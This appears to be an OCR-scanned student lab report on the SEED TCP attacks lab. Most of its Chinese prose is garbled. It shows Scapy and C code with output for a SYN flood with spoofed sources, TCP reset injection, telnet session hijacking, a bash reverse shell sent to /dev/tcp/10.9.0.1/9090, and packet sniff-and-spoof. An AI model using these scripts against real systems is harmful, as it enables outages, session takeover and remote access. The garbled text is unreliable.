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P, (BN T —EBEN L 2R AR §1EE % 55, IR TCP M EH I
Wi A REEENERREE, BERERERE:
o PEf# TCP SYN iz ¥t (SYN Flood) Fii ()53, HAE{EH Scapy F C if & I LT
J71%, FEBGAIE SYN Cookies B AL ) R
« %4E TCP HE (Reset) B HIARLMTY, 2% Wfrrdid Py RST A0k 5 i 4 Wy 57
(1] TCP &z
.« SZE TCP lﬁﬁﬁf (Session Hijacking) £/ A, B ] i ik W Wy Ay 41 5 e A &
EPENE RS
- EEMHS lﬁi‘ﬁ%ﬁﬂ@fim Shell (Reverse Shell) 17575, B IZE AR SLPREE WA H
I EAEH .
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2.1 TCP ZRiEFS5 SYN ;24

TCP B IERFEE =R T: FFiHAIX SYN, IRSFGEEIE SYN+ACK Horml R E#E A
HERE (SYN- RECV) KL, BEFFIHOE ACK, SYN 2@ & X K &M SYN 1K
EARRERERE—2, HIRFGeERINS] (Backlog Queue) #7571, MmfE4s &5 P HIE
j;lLlEl j‘_{o

22 TCP EBSRIEHNIF

TCP PN AL VFIEIE &% RST AR AT GRAZ AR 1B S &R, QIR RES SR
BTN 4 AT AN S and P05, BRI PAONIE — 1 RST ©ARGHA—T7, SBOERB
SER Tl T

SUEFRNEE I —2 ) WEHEENMUBERER, M BEFYIS P E -SSR M EAE
CUEHE, @t SR ANERNFY S, FRI0T SINIX L m Rk B A TERA i, AR
ITHEARFES,

2.3 I Shell

J 1] Shell S24E#I i AR B IV, FR B Y Shell (41 /bin/bash) Y
B N B R BN b X AR 75 2R AT SRR A s B N il R il o
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G gh@s7aSecretSealingClub netsecurity2026/Tcp/Labsetup ¥ main [?9v]

> docker ps 2026-05-03 Sunday 20:27:39
CONTAINER ID IMAGE COMMAND CREATED STATUS NAMES

b@84ba864c5d  handsonsecurity/seed-ubuntu:large "/bin/sh -c /bin/bash" 4 minutes ago Up 2 seconds seed-attacker

9170ae68300c handsonsecurity/seed-ubuntu: large "bash -c ' /etc/init." 4 minutes ago Up 2 seconds userl-10.9.0.6
c07789fe6453  handsonsecurity/seed-ubuntu:large "bash -c ' /etc/init.." 4 minutes ago Up 2 seconds user2-10.9.0.7
4163e58af35c  handsonsecurity/seed-ubuntu:large "bash -c ' /etc/init.." 4 minutes ago Up 2 seconds victim-10.9.0.5

Figure 1: fi ] docker ps & & LI 1 ) A 12 47K

FHAE IP Mkt i B
Attacker (Bdi#&) | 10.9.0.1 (host) | BATHd A, HA IR
Victim (%2 3) 10.9.0.5 11T telnet M55 19 H br Ik 55 2%
Userl (&1 F) 10.9.0.6 SEI6 R T IR R R L

4 TP RRER

4.1 {F53& 1: SYN Ttk

4.1.1 {55 1.1: M Python RiEWRE

& H Scapy Y55 synflood.py, HAZ LB EE—DNICIRIEIAH, F|H getrandbits(32) 4E
FRBEALEIR IP Hitik, FF#3E TCP SkEBHF flags BN 's' (SYN),

while True:
pkt[IP].src = str(IPv4Address(getrandbits(32))) # BFEHLIE IP

pkt[TCP].sport = getrandbits(16) # B LY v
pkt[TCP].seq = getrandbits(32) # BENLFF 2

send(pkt, verbose = 0)

net.ipv4.tcp_syncookies = @
net.ipv4.tcp_max_syn_backlog = 128

tcp ) 0 10.9.0.5:23 170.193.35.118:54452 SYN_RECV
tcp UG8 5525 20.209.126.44:15649 SYN_RECV
tcp EIAROBARGERS) 96.56.116.192:40815 SYN_RECV
tep 10.9.0.5:23 117.108.61.159:7240 SYN_RECV
tcp 10.9.0.5:23 134.220.137.246:18473  SYN_RECV
tcp 10.9.0.5:23 126.99.239.156:21578 SYN_RECV
tcp 10.9.0.5:23 108.188.222.221:60071  SYN_RECV
tcp 10.9.0.5:23 195.185.46.185:596 SYN_RECV
tcp 10.9.0.5:23 179.86.219.100:32378 SYN_RECV
tcp EIAROBORGERS) 104.133.59.106:22473 SYN_RECV
tep 10.9.0.5:23 48.227.251.198:43672 SYN_RECV
tcp 10.9.0.5: 159.170.190.66:18919 SYN_RECV
tcp 10.9.0.5: 60.42.143.161:57421 SYN_RECV
tep 10.9.0.5: 197.151.81.23:23520 SYN_RECV
tcp 10.9. 5 174.196.80.16:2112 SYN_RECV
tcp 10. g 39.56.196.97:15815 SYN_RECV
tcp 10. 3 64.199.210.129:21173 SYN_RECV
tep 10. 8 142.82.189.167:40568 SYN_RECV
tep 10. 8 168.73.38.254:9517 SYN_RECV
tcp 10.9.0.5: 94.176.6.130:56347 SYN_RECV

|
Figure 2: 1517 synflood.py #[f], Victim [ netstat fii i 7~ T KEAL T SYN_RECV (R
HOpEEEA

4.1.2 155 1.2: A CiESkRENRTE

C 155 L@ I R IR B = E IS 1P A1 TCP kB, 9 TR mRER, Bl 1FahiH5E T TCP
B (EEDETR,
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[/ BOTER: AWigiEIE k% SYN A
while (1) {
tcp->tcp_sport rand();
tcp->tcp _flags = TH _SYN;
ip->iph sourceip.s addr = rand();
tcp->tcp _sum = calculate tcp checksum(ip); // Zuih5ALK A
send raw ip packet(ip);

11.109.10.110:63194 SYN_RECV
119.58.145.170:5943 SYN_RECV
157.37.168.70:39089 SYN_RECV
163.233.246.207:53112  SYN_RECV
103.2.96.110:63389 SYN_RECV
90.209.222.70:3917 SYN_RECV
28.136.42.37:15790 SYN_RECV
180.7.109.153:11883 SYN_RECV
41.88.207.6:7229 SYN_RECV
39.227.213.40:62356 SYN_RECV
248.41.161.56:32551 SYN_RECV
73.217.44.139:12997 SYN_RECV
168.176.122.201:58929  SYN_RECV
169.184.230.70:56191 SYN_RECV
185.107.255.100:28385  SYN_RECV
183.93.9.55:10796 SYN_RECV
44.179.34.49:44861 SYN_RECV
68.1.242.113:380 SYN_RECV
192.125.178.249:55770  SYN_RECV
209.195.18.207:22697 SYN_RECV

0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0

CPPPOOPDIOOOPOPOOPO®® O ®
0 0 0 0 0 0 O O 0 O O OO OO OO OO O
CPPPOOPIOOOIOOOODD O ®
nunummunuuunuonunununuuouounnonnounnoononon

Figure 3: C 1 F Wi T, Victim B2 45 A 51 B [0 4% P i 0 AEL 5

4.1.3 153 1.3: B SYN Cookie PA1H

JE IR, RR55 2 A FAENE] SYN INAZ BRI ECEE IR, 12 K425 B ammd it syN-AcK iY
JPE 5,
net.ipv4.tcp_syncookies = 1

Trying 10.9.0.5...
Connected to 10.9.0.5.

Escape character is 'A]'.
Connection closed by foreign host.

Figure 4: 71 /3 SYN Cookies J&, &AM /7 Userl 1JREIIEHE Victim

4.2 £ 2: TCP EBWE

reset attack.py B RAFAIR Userl &1F Victim AU, 12EBUEIAS (ACK) 1ERINIE
RST HFFE (SEQ), MMM Victim IA X i 2 3K B B,

def spoof reset(pkt):
ip = IP(src=pkt[IP].dst, dst=pkt[IP].src)
# B RST [ SEQ DAUERNTT AT LM, EHE B e ACK
tcp = TCP(sport=pkt[TCP].dport, dport=pkt[TCP].sport,
flags="R", seq=pkt[TCP].ack)
send(ip/tcp, verbose=0)
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Trying 10.9.0.5...
Connected to 10.9.0.5.
Escape character is '+]'.
Ubuntu 20.04.1 LTS

hello

4163e58af35c login: Sniffing for telnet traffic on br-603d3788c443...
Detected TCP packet from 10.9.0.6 to 10.9.0.5

Sent spoofed RST packet to terminate connection.

Connection closed by foreign host.

Figure 5: User1 [fY] telnet % [ i/~ 4245 il D) B

4.3 153 3. TCP &iEEhF

RIEEF TR E RS S P BANEE IR S AT SEQ A Payload K&, HH
R —MEIER SEQ, FFEATES

def hijack(pkt):
if pkt[TCP].payload:

ip = IP(src=pkt[IP].src, dst=pkt[IP].dst)

# TR —A SEQ: 4nj SEQ + #HfrKJE

tcp = TCP(sport=pkt[TCP].sport, dport=pkt[TCP].dport, flags="A",

seq=pkt[TCP].seq + len(pkt[TCP].payload),

ack=pkt[TCP].ack)

payload = "\r touch /tmp/hijack successful \r"

send(ip/tcp/payload, verbose=0)

docker exec victim-10.9.0.5 ls -1 /tmp/hijack_successful

- 1 seed seed @ May 4 03:42 /tmp/hijack_successful

Figure 6: 2 1EENFFR T : 7E Victim 28 HIGUE 1 SO I A

4.4 £33 4. SIERMA Shell
EENEHBIED, FATHE RIS Bash I Shell $54,

cmd = "\r /bin/bash -i > /dev/tcp/10.9.0.1/9090 0<&1 2>&1 \r"
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Listening on 0.0.0.0 9090
Connection received on 10.9.0.5 60982
seednd163e58af35c:~$ I

Figure 7: 181t 2 1& EFFEN 7] Shell, Attacker B(II3R1GF 52 3 & 5 il AL
45 E5E& 2. BF C WBRUREHE

4.5.1 £33 2.1: EF libpcap FIIRIR

CIH SRR AHEIL pcap_loop FFELALTRINSC, FE AL, BANEL TS WIS 1P
Ko

void got packet(u char *args, const struct pcap pkthdr *header, const
u char *packet) {

[/ BRI PORM Sk (14%75) #ik IP =k

struct ipheader *ip = (struct ipheader *)(packet + 14);
printf(" From: %s\n", inet ntoa(ip->iph _sourceip));
printf(" To: %s\n", inet ntoa(ip->iph_destip));
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PING 10.9.0.5 (10.9.0.5) 56(84) bytes of data.
64 bytes from 10.9.0.5: icmp_seq=1 ttl=64 time=0.037 ms
64 bytes from 10.9.0.5: icmp_seq=2 ttl=64 time=0.033 ms

--- 10.9.0.5 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1008ms
rtt min/avg/max/mdev = ©.833/0.835/0.837/0.002 ms
Got a packet
From: 10.9.0.1
To: 10.9.0.5
Got a packet
From: 10.9.8.6
To: 10.9.0.5
Got a packet
From: 10.9.0.
To: 10.9.0.
Got a packet
From: 10.9.0.
To: 10.9.0.
Got a packet
From: 10.9.0.
To: 10.9.0.
Got a packet
From: 10.9.0.
To: 10.9.0.
Got a packet
From: 10.9.0.
To: 10.9.0.
Got a packet
From: 10.9.0.
To: 10.9.0.
Got a packet
From: 10.9.0.
To: 10.9.0.
Got a packet
From: 10.9.0.
To: 10.9.0.

Figure 8: C 1f &5 WRAFR S A i SE HIURUA TP #3045 2

4.5.2 {£55 2.3 IRRSHERXED (Sniff-and-Spoof)
ZAE S5 ERFEFAEIFAE] ICMP 155K IN 32 IS — 1 Reply.

if (icmp->icmp_type == 8) { // fill#] Echo Request
new ip->iph sourceip = ip->iph destip; // Z#JiH IP
new ip->iph destip = ip->iph_sourceip;
new _icmp->icmp_type = 0; // WEN Echo Reply
new icmp->icmp chksum = 0; [/ BEH AR
new _icmp->icmp chksum = in cksum(...);
send raw_ip packet(new_ip);

PING 1.2.3.4 (1.2.3.4) 56(84) bytes of data.
64 bytes from 1.2.3.4: icmp_seq=1 ttl=64 time=9780 ms

---1.2.3.4 ping statistics ---

1 packets transmitted, 1 received, 0% packet loss, time @ms
rtt min/avg/max/mdev = 970.368/970.368/970.368/0.000 ms
Detected Echo Request from 10.9.0.6 to 10.9.0.6

ply back to 10.9.0.6

Figure 9: BRENFEST DK U User1, fHHIAN 1.2.3.4 E4%

453 1153 2.1A; IBARIRIRSE T (ERIR
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1 DANET D [ R P

1. pcap_open_live(): T 148 & MM £ B2 TEAT 3k

2. pcap_compile(): 745 Hf P IR X i BPF #2/7 .
3. pcap_setfilter(): g PR ir IF1 I B 28 22 2% 2R IR A o

4. pcap_loop(): BEASHIRAGIA, xRN0 U8 FH [0 pR 5

Al 2: T2 Root AR ? WLARFR /7 5 AN G B 7 I B W R IR i, X
BERR AP S B AR AR 2 WX B AR B B ], R T2 W, #HE R R RRUH ~
(Root) $AT. WIRIARKFHRLH Fi847, pcap_open_live() Wi AN PRAER 1% o

i 3: JRAHE (Promiscuous Mode) TESEIGH, ¥ pcap_open_live() HIEE =14

BN VTSR IR AR 0 WISCH] . JFR R, Zodi & nl DU SR BRI AE R P & EHL (A
Userl All Victim) Z [M] {3815 ; MG, RERIRBZAEANLE) FR bk i E .

5 LR R at

AR SEEIEIE Python 1 C WAPZEREAYSLER, 1EFRAS TCP/IP WM HRIEA T W)
AUEERE. M ZRA A EEREVEEIIRR C B S N — LR ORI, TRIRZUA R B T 4845
g OUE RIS HE R, REAIE AR S TN AARR AN THE T R SR, NS RIRAES]
EErNG e Xl N -0 B

10
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